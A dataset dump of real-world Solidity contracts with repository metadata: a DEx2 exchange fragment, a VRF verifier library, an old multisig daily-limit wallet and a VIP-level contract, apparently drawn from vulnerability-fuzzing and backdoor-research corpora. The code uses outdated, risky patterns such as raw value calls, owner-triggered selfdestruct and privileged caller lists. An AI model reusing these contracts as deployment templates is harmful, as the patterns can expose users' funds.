orders[orderKey].pairId = 0xFFFFFFFF;
orders[orderKey].amountE8 = 0;
emit HardCancelOrderEvent(address(orderKey) , uint64(orderKey >> 160));
}
function setFeeRates(uint16 makerE4, uint16 takerE4, uint16 withdrawE4) private {
if (makerE4 > MAX_FEE_RATE_E4) revert();
if (takerE4 > MAX_FEE_RATE_E4) revert();
if (withdrawE4 > MAX_FEE_RATE_E4) revert();
makerFeeRateE4 = makerE4;
takerFeeRateE4 = takerE4;
withdrawFeeRateE4 = withdrawE4;
emit SetFeeRatesEvent(makerE4, takerE4, withdrawE4);
}
function setFeeRebatePercent(address traderAddr, uint8 feeRebatePercent) private {
if (feeRebatePercent > 100) revert();
traders[traderAddr].feeRebatePercent = feeRebatePercent;
emit SetFeeRebatePercentEvent(traderAddr, feeRebatePercent);
}
function parseNewOrder(uint224 orderKey, uint8 v, uint[] body, uint i) private view returns (Order) {
uint240 bits = uint240(body[i + 1]);
uint64 nonce = uint64(orderKey >> 160);
address traderAddr = address(orderKey);
if (traderAddr == 0) revert();
bytes32 hash1 = keccak256("\x19Ethereum Signed Message:\n70DEx2 Order: ", address(this), nonce, bits);
if (traderAddr != ecrecover(hash1, v, bytes32(body[i + 2]), bytes32(body[i + 3]))) {
bytes32 hashValues = keccak256("DEx2 Order", address(this), nonce, bits);
bytes32 hash2 = keccak256(HASHTYPES, hashValues);
if (traderAddr != ecrecover(hash2, v, bytes32(body[i + 2]), bytes32(body[i + 3]))) revert();
}
Order memory order;
order.pairId = uint32(bits); bits >>= 32;
order.action = uint8(bits); bits >>= 8;
order.ioc = uint8(bits); bits >>= 8;
order.priceE8 = uint64(bits); bits >>= 64;
order.amountE8 = uint64(bits); bits >>= 64;
order.expireTimeSec = uint64(bits);
return order;
}
}
| 162,731 | 11,753 |
b1154ac435892c1deb462f262b03d17ee5fddd70f062b9eaf4c31924b79dd341
| 26,356 |
.sol
|
Solidity
| false |
476672415
|
realran/VRFContract
|
12b6f98a808eda5ea6402c5716609ccf0d0b8640
|
dev/VRF.sol
| 5,567 | 16,456 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VRF {
// See https://www.secg.org/sec2-v2.pdf, section 2.4.1, for these constants.
// Number of points in Secp256k1
uint256 private constant GROUP_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141;
// Prime characteristic of the galois field over which Secp256k1 is defined
uint256 private constant FIELD_SIZE =
// solium-disable-next-line indentation
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F;
uint256 private constant WORD_LENGTH_BYTES = 0x20;
// (base^exponent) % FIELD_SIZE
// Cribbed from https://medium.com/@rbkhmrcr/precompiles-solidity-e5d29bd428c4
function bigModExp(uint256 base, uint256 exponent) internal view returns (uint256 exponentiation) {
uint256 callResult;
uint256[6] memory bigModExpContractInputs;
bigModExpContractInputs[0] = WORD_LENGTH_BYTES; // Length of base
bigModExpContractInputs[1] = WORD_LENGTH_BYTES; // Length of exponent
bigModExpContractInputs[2] = WORD_LENGTH_BYTES; // Length of modulus
bigModExpContractInputs[3] = base;
bigModExpContractInputs[4] = exponent;
bigModExpContractInputs[5] = FIELD_SIZE;
uint256[1] memory output;
assembly {
// solhint-disable-line no-inline-assembly
callResult := staticcall(not(0), // Gas cost: no limit
0x05, // Bigmodexp contract address
bigModExpContractInputs,
0xc0, // Length of input segment: 6*0x20-bytes
output,
0x20 // Length of output segment)
}
if (callResult == 0) {
revert("bigModExp failure!");
}
return output[0];
}
// Let q=FIELD_SIZE. q % 4 = 3, xr^2 mod q x^SQRT_POWERr mod q. See
// https://en.wikipedia.org/wiki/Modular_square_root#Prime_or_prime_power_modulus
uint256 private constant SQRT_POWER = (FIELD_SIZE + 1) >> 2;
// Computes a s.t. a^2 = x in the field. Assumes a exists
function squareRoot(uint256 x) internal view returns (uint256) {
return bigModExp(x, SQRT_POWER);
}
// The value of y^2 given that (x,y) is on secp256k1.
function ySquared(uint256 x) internal pure returns (uint256) {
// Curve is y^2=x^3+7. See section 2.4.1 of https://www.secg.org/sec2-v2.pdf
uint256 xCubed = mulmod(x, mulmod(x, x, FIELD_SIZE), FIELD_SIZE);
return addmod(xCubed, 7, FIELD_SIZE);
}
// True iff p is on secp256k1
function isOnCurve(uint256[2] memory p) internal pure returns (bool) {
// Section 2.3.6. in https://www.secg.org/sec1-v2.pdf
// requires each ordinate to be in [0, ..., FIELD_SIZE-1]
require(p[0] < FIELD_SIZE, "invalid x-ordinate");
require(p[1] < FIELD_SIZE, "invalid y-ordinate");
return ySquared(p[0]) == mulmod(p[1], p[1], FIELD_SIZE);
}
// Hash x uniformly into {0, ..., FIELD_SIZE-1}.
function fieldHash(bytes memory b) internal pure returns (uint256 x_) {
x_ = uint256(keccak256(b));
// Rejecting if x >= FIELD_SIZE corresponds to step 2.1 in section 2.3.4 of
// http://www.secg.org/sec1-v2.pdf , which is part of the definition of
// string_to_point in the IETF draft
while (x_ >= FIELD_SIZE) {
x_ = uint256(keccak256(abi.encodePacked(x_)));
}
}
// Hash b to a random point which hopefully lies on secp256k1. The y ordinate
// is always even, due to
// https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-vrf-05#section-5.4.1.1
// step 5.C, which references arbitrary_string_to_point, defined in
// https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-vrf-05#section-5.5 as
// returning the point with given x ordinate, and even y ordinate.
function newCandidateSecp256k1Point(bytes memory b) internal view returns (uint256[2] memory p) {
unchecked {
p[0] = fieldHash(b);
p[1] = squareRoot(ySquared(p[0]));
if (p[1] % 2 == 1) {
// Note that 0 <= p[1] < FIELD_SIZE
// so this cannot wrap, we use unchecked to save gas.
p[1] = FIELD_SIZE - p[1];
}
}
}
// Domain-separation tag for initial hash in hashToCurve. Corresponds to
// vrf.go/hashToCurveHashPrefix
uint256 internal constant HASH_TO_CURVE_HASH_PREFIX = 1;
// Cryptographic hash function onto the curve.
//
// Corresponds to algorithm in section 5.4.1.1 of the draft standard. (But see
// DESIGN NOTES above for slight differences.)
//
// TODO(alx): Implement a bounded-computation hash-to-curve, as described in
// "Construction of Rational Points on Elliptic Curves over Finite Fields"
// http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.831.5299&rep=rep1&type=pdf
// and suggested by
// https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-hash-to-curve-01#section-5.2.2
// (Though we can't used exactly that because secp256k1's j-invariant is 0.)
//
// This would greatly simplify the analysis in "OTHER SECURITY CONSIDERATIONS"
// https://www.pivotaltracker.com/story/show/171120900
function hashToCurve(uint256[2] memory pk, uint256 input) internal view returns (uint256[2] memory rv) {
rv = newCandidateSecp256k1Point(abi.encodePacked(HASH_TO_CURVE_HASH_PREFIX, pk, input));
while (!isOnCurve(rv)) {
rv = newCandidateSecp256k1Point(abi.encodePacked(rv[0]));
}
}
function ecmulVerify(uint256[2] memory multiplicand,
uint256 scalar,
uint256[2] memory product) internal pure returns (bool verifies) {
require(scalar != 0, "zero scalar"); // Rules out an ecrecover failure case
uint256 x = multiplicand[0]; // x ordinate of multiplicand
uint8 v = multiplicand[1] % 2 == 0 ? 27 : 28; // parity of y ordinate
// https://ethresear.ch/t/you-can-kinda-abuse-ecrecover-to-do-ecmul-in-secp256k1-today/2384/9
// Point corresponding to address ecrecover(0, v, x, s=scalar*x) is
// (x mod GROUP_ORDER) * (scalar * x * multiplicand - 0 * g), i.e.
// scalar*multiplicand. See https://crypto.stackexchange.com/a/18106
bytes32 scalarTimesX = bytes32(mulmod(scalar, x, GROUP_ORDER));
address actual = ecrecover(bytes32(0), v, bytes32(x), scalarTimesX);
// Explicit conversion to address takes bottom 160 bits
address expected = address(uint160(uint256(keccak256(abi.encodePacked(product)))));
return (actual == expected);
}
// Returns x1/z1-x2/z2=(x1z2-x2z1)/(z1z2) in projective coordinates on P()
function projectiveSub(uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2) internal pure returns (uint256 x3, uint256 z3) {
unchecked {
uint256 num1 = mulmod(z2, x1, FIELD_SIZE);
// Note this cannot wrap since x2 is a point in [0, FIELD_SIZE-1]
// we use unchecked to save gas.
uint256 num2 = mulmod(FIELD_SIZE - x2, z1, FIELD_SIZE);
(x3, z3) = (addmod(num1, num2, FIELD_SIZE), mulmod(z1, z2, FIELD_SIZE));
}
}
// Returns x1/z1*x2/z2=(x1x2)/(z1z2), in projective coordinates on P()
function projectiveMul(uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2) internal pure returns (uint256 x3, uint256 z3) {
(x3, z3) = (mulmod(x1, x2, FIELD_SIZE), mulmod(z1, z2, FIELD_SIZE));
}
function projectiveECAdd(uint256 px,
uint256 py,
uint256 qx,
uint256 qy)
internal
pure
returns (uint256 sx,
uint256 sy,
uint256 sz)
{
unchecked {
// See "Group law for E/K : y^2 = x^3 + ax + b", in section 3.1.2, p. 80,
// "Guide to Elliptic Curve Cryptography" by Hankerson, Menezes and Vanstone
// We take the equations there for (sx,sy), and homogenize them to
// projective coordinates. That way, no inverses are required, here, and we
// only need the one inverse in affineECAdd.
// We only need the "point addition" equations from Hankerson et al. Can
// skip the "point doubling" equations because p1 == p2 is cryptographically
// impossible, and required not to be the case in linearCombination.
// Add extra "projective coordinate" to the two points
(uint256 z1, uint256 z2) = (1, 1);
// (lx, lz) = (qy-py)/(qx-px), i.e., gradient of secant line.
// Cannot wrap since px and py are in [0, FIELD_SIZE-1]
uint256 lx = addmod(qy, FIELD_SIZE - py, FIELD_SIZE);
uint256 lz = addmod(qx, FIELD_SIZE - px, FIELD_SIZE);
uint256 dx; // Accumulates denominator from sx calculation
// sx=((qy-py)/(qx-px))^2-px-qx
(sx, dx) = projectiveMul(lx, lz, lx, lz); // ((qy-py)/(qx-px))^2
(sx, dx) = projectiveSub(sx, dx, px, z1); // ((qy-py)/(qx-px))^2-px
(sx, dx) = projectiveSub(sx, dx, qx, z2); // ((qy-py)/(qx-px))^2-px-qx
uint256 dy; // Accumulates denominator from sy calculation
// sy=((qy-py)/(qx-px))(px-sx)-py
(sy, dy) = projectiveSub(px, z1, sx, dx); // px-sx
(sy, dy) = projectiveMul(sy, dy, lx, lz); // ((qy-py)/(qx-px))(px-sx)
(sy, dy) = projectiveSub(sy, dy, py, z1); // ((qy-py)/(qx-px))(px-sx)-py
if (dx != dy) {
// Cross-multiply to put everything over a common denominator
sx = mulmod(sx, dy, FIELD_SIZE);
sy = mulmod(sy, dx, FIELD_SIZE);
sz = mulmod(dx, dy, FIELD_SIZE);
} else {
// Already over a common denominator, use that for z ordinate
sz = dx;
}
}
}
// p1+p2, as affine points on secp256k1.
//
// invZ must be the inverse of the z returned by projectiveECAdd(p1, p2).
// It is computed off-chain to save gas.
//
// p1 and p2 must be distinct, because projectiveECAdd doesn't handle
// point doubling.
function affineECAdd(uint256[2] memory p1,
uint256[2] memory p2,
uint256 invZ) internal pure returns (uint256[2] memory) {
uint256 x;
uint256 y;
uint256 z;
(x, y, z) = projectiveECAdd(p1[0], p1[1], p2[0], p2[1]);
require(mulmod(z, invZ, FIELD_SIZE) == 1, "invZ must be inverse of z");
// Clear the z ordinate of the projective representation by dividing through
// by it, to obtain the affine representation
return [mulmod(x, invZ, FIELD_SIZE), mulmod(y, invZ, FIELD_SIZE)];
}
// True iff address(c*p+s*g) == lcWitness, where g is generator. (With
// cryptographically high probability.)
function verifyLinearCombinationWithGenerator(uint256 c,
uint256[2] memory p,
uint256 s,
address lcWitness) internal pure returns (bool) {
// Rule out ecrecover failure modes which return address 0.
unchecked {
require(lcWitness != address(0), "bad witness");
uint8 v = (p[1] % 2 == 0) ? 27 : 28; // parity of y-ordinate of p
// Note this cannot wrap (X - Y % X), but we use unchecked to save
// gas.
bytes32 pseudoHash = bytes32(GROUP_ORDER - mulmod(p[0], s, GROUP_ORDER)); // -s*p[0]
bytes32 pseudoSignature = bytes32(mulmod(c, p[0], GROUP_ORDER)); // c*p[0]
// https://ethresear.ch/t/you-can-kinda-abuse-ecrecover-to-do-ecmul-in-secp256k1-today/2384/9
// The point corresponding to the address returned by
// ecrecover(-s*p[0],v,p[0],c*p[0]) is
// (p[0] mod GROUP_ORDER)*(c*p[0]-(-s)*p[0]*g)=c*p+s*g.
// See https://crypto.stackexchange.com/a/18106
// https://bitcoin.stackexchange.com/questions/38351/ecdsa-v-r-s-what-is-v
address computed = ecrecover(pseudoHash, v, bytes32(p[0]), pseudoSignature);
return computed == lcWitness;
}
}
// c*p1 + s*p2. Requires cp1Witness=c*p1 and sp2Witness=s*p2. Also
// requires cp1Witness != sp2Witness (which is fine for this application,
// since it is cryptographically impossible for them to be equal. In the
// (cryptographically impossible) case that a prover accidentally derives
// a proof with equal c*p1 and s*p2, they should retry with a different
// proof nonce.) Assumes that all points are on secp256k1
// (which is checked in verifyVRFProof below.)
function linearCombination(uint256 c,
uint256[2] memory p1,
uint256[2] memory cp1Witness,
uint256 s,
uint256[2] memory p2,
uint256[2] memory sp2Witness,
uint256 zInv) internal pure returns (uint256[2] memory) {
unchecked {
// Note we are relying on the wrap around here
require((cp1Witness[0] % FIELD_SIZE) != (sp2Witness[0] % FIELD_SIZE), "points in sum must be distinct");
require(ecmulVerify(p1, c, cp1Witness), "First mul check failed");
require(ecmulVerify(p2, s, sp2Witness), "Second mul check failed");
return affineECAdd(cp1Witness, sp2Witness, zInv);
}
}
// Domain-separation tag for the hash taken in scalarFromCurvePoints.
// Corresponds to scalarFromCurveHashPrefix in vrf.go
uint256 internal constant SCALAR_FROM_CURVE_POINTS_HASH_PREFIX = 2;
// Pseudo-random number from inputs. Matches vrf.go/scalarFromCurvePoints, and
// https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-vrf-05#section-5.4.3
// The draft calls (in step 7, via the definition of string_to_int, in
// https://datatracker.ietf.org/doc/html/rfc8017#section-4.2) for taking the
// first hash without checking that it corresponds to a number less than the
// group order, which will lead to a slight bias in the sample.
//
// TODO(alx): We could save a bit of gas by following the standard here and
// using the compressed representation of the points, if we collated the y
// parities into a single bytes32.
// https://www.pivotaltracker.com/story/show/171120588
function scalarFromCurvePoints(uint256[2] memory hash,
uint256[2] memory pk,
uint256[2] memory gamma,
address uWitness,
uint256[2] memory v) internal pure returns (uint256 s) {
return uint256(keccak256(abi.encodePacked(SCALAR_FROM_CURVE_POINTS_HASH_PREFIX, hash, pk, gamma, v, uWitness)));
}
// True if (gamma, c, s) is a correctly constructed randomness proof from pk
// and seed. zInv must be the inverse of the third ordinate from
// projectiveECAdd applied to cGammaWitness and sHashWitness. Corresponds to
// section 5.3 of the IETF draft.
//
// TODO(alx): Since I'm only using pk in the ecrecover call, I could only pass
// the x ordinate, and the parity of the y ordinate in the top bit of uWitness
// (which I could make a uint256 without using any extra space.) Would save
// about 2000 gas. https://www.pivotaltracker.com/story/show/170828567
function verifyVRFProof(uint256[2] memory pk,
uint256[2] memory gamma,
uint256 c,
uint256 s,
uint256 seed,
address uWitness,
uint256[2] memory cGammaWitness,
uint256[2] memory sHashWitness,
uint256 zInv) internal view {
unchecked {
require(isOnCurve(pk), "public key is not on curve");
require(isOnCurve(gamma), "gamma is not on curve");
require(isOnCurve(cGammaWitness), "cGammaWitness is not on curve");
require(isOnCurve(sHashWitness), "sHashWitness is not on curve");
// Step 5. of IETF draft section 5.3 (pk corresponds to 5.3's Y, and here
// we use the address of u instead of u itself. Also, here we add the
// terms instead of taking the difference, and in the proof construction in
// vrf.GenerateProof, we correspondingly take the difference instead of
// taking the sum as they do in step 7 of section 5.1.)
require(verifyLinearCombinationWithGenerator(c, pk, s, uWitness), "addr(c*pk+s*g)!=_uWitness");
// Step 4. of IETF draft section 5.3 (pk corresponds to Y, seed to alpha_string)
uint256[2] memory hash = hashToCurve(pk, seed);
// Step 6. of IETF draft section 5.3, but see note for step 5 about +/- terms
uint256[2] memory v = linearCombination(c, gamma, cGammaWitness, s, hash, sHashWitness, zInv);
// Steps 7. and 8. of IETF draft section 5.3
uint256 derivedC = scalarFromCurvePoints(hash, pk, gamma, uWitness, v);
require(c == derivedC, "invalid proof");
}
}
// Domain-separation tag for the hash used as the final VRF output.
// Corresponds to vrfRandomOutputHashPrefix in vrf.go
uint256 internal constant VRF_RANDOM_OUTPUT_HASH_PREFIX = 3;
struct Proof {
uint256[2] pk;
uint256[2] gamma;
uint256 c;
uint256 s;
uint256 seed;
address uWitness;
uint256[2] cGammaWitness;
uint256[2] sHashWitness;
uint256 zInv;
}
function randomValueFromVRFProof(Proof memory proof, uint256 seed) internal view returns (uint256 output) {
verifyVRFProof(proof.pk,
proof.gamma,
proof.c,
proof.s,
seed,
proof.uWitness,
proof.cGammaWitness,
proof.sHashWitness,
proof.zInv);
output = uint256(keccak256(abi.encode(VRF_RANDOM_OUTPUT_HASH_PREFIX, proof.gamma)));
}
}
| 16,633 | 11,754 |
5f5658e9d33983d67c3667d3dff71192c9dca11e21006ce66e6320368c991b88
| 13,803 |
.sol
|
Solidity
| false |
627794329
|
uni-due-syssec/efcf-framework
|
c3088c935f567dc7fc286475d6759204b6e44ef5
|
data/smartbugs-top-1000-balance/0xe825363f3bedabc95b2a9d42dbc73ec7b82b57d3.sol
| 3,923 | 12,303 |
//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
pragma solidity ^0.4.7;
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function multiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
delete m_pendingIndex;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
// uses is specified in the modifier.
contract daylimit is multiowned {
// METHODS
// constructor - stores initial daily limit and records the present day's index.
function daylimit(uint _limit) {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// INTERNAL METHODS
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
// FIELDS
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
}
// interface contract for multisig proxy contracts; see below for docs.
contract multisig {
// EVENTS
// logged events:
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
// FUNCTIONS
// TODO: document
function changeOwner(address _from, address _to) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) returns (bool o_success);
}
// usage:
// bytes32 h = Wallet(w).from(oneOwner).execute(to, value, data);
// Wallet(w).from(anotherOwner).confirm(h);
contract Wallet is multisig, multiowned, daylimit {
// TYPES
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// METHODS
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function Wallet(address[] _owners, uint _required, uint _daylimit)
multiowned(_owners, _required) daylimit(_daylimit) {
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
super.clearPending();
}
// FIELDS
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
| 270,838 | 11,755 |
294ec86bf4dd64afc4781b7c9a7150a130569eb69fcfd0c1fee99fe4379657f3
| 17,192 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x9d5adbff562c0ae85995bdf1c15bd1f8a9db928c.sol
| 4,334 | 16,221 |
// solium-disable linebreak-style
pragma solidity ^0.5.0;
contract CryptoTycoonsVIPLib{
address payable public owner;
// Accumulated jackpot fund.
uint128 public jackpotSize;
uint128 public rankingRewardSize;
mapping (address => uint) userExpPool;
mapping (address => bool) public callerMap;
event RankingRewardPayment(address indexed beneficiary, uint amount);
modifier onlyOwner {
require(msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCaller {
bool isCaller = callerMap[msg.sender];
require(isCaller, "onlyCaller methods called by non-caller.");
_;
}
constructor() public{
owner = msg.sender;
callerMap[owner] = true;
}
// Fallback function deliberately left empty. It's primary use case
// is to top up the bank roll.
function () external payable {
}
function kill() external onlyOwner {
selfdestruct(owner);
}
function addCaller(address caller) public onlyOwner{
bool isCaller = callerMap[caller];
if (isCaller == false){
callerMap[caller] = true;
}
}
function deleteCaller(address caller) external onlyOwner {
bool isCaller = callerMap[caller];
if (isCaller == true) {
callerMap[caller] = false;
}
}
function addUserExp(address addr, uint256 amount) public onlyCaller{
uint exp = userExpPool[addr];
exp = exp + amount;
userExpPool[addr] = exp;
}
function getUserExp(address addr) public view returns(uint256 exp){
return userExpPool[addr];
}
function getVIPLevel(address user) public view returns (uint256 level) {
uint exp = userExpPool[user];
if(exp >= 25 ether && exp < 125 ether){
level = 1;
} else if(exp >= 125 ether && exp < 250 ether){
level = 2;
} else if(exp >= 250 ether && exp < 1250 ether){
level = 3;
} else if(exp >= 1250 ether && exp < 2500 ether){
level = 4;
} else if(exp >= 2500 ether && exp < 12500 ether){
level = 5;
} else if(exp >= 12500 ether && exp < 25000 ether){
level = 6;
} else if(exp >= 25000 ether && exp < 125000 ether){
level = 7;
} else if(exp >= 125000 ether && exp < 250000 ether){
level = 8;
} else if(exp >= 250000 ether && exp < 1250000 ether){
level = 9;
} else if(exp >= 1250000 ether){
level = 10;
} else{
level = 0;
}
return level;
}
function getVIPBounusRate(address user) public view returns (uint256 rate){
uint level = getVIPLevel(user);
return level;
}
// This function is used to bump up the jackpot fund. Cannot be used to lower it.
